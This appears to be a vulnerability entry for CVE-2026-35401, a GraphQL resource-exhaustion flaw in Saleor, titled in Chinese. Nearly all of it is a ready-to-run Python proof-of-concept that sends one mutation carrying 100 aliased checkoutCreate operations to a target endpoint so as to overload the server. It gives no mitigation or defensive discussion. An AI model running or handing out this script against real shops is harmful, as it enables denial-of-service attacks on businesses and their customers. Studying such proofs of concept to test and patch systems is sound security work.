CVE-2026-35401 Saleor GraphQL资源耗尽漏洞

import requests # Target GraphQL endpoint url = "http://target-url.com/graphql/" # Construct a malicious payload with multiple aliases # This simulates sending many mutations in one request aliases = [] for i in range(100): # Replace 'checkoutCreate' with a valid mutation from the schema aliases.append(f"op{i}: checkoutCreate(input: {{}}) {{ id }}") graphql_query = f"mutation {{ {', '.join(aliases)} }}" payload = { "query": graphql_query, "variables": {} } try: response = requests.post(url, json=payload) print(f"Request sent, status code: {response.status_code}") except Exception as e: print(f"Error: {e}")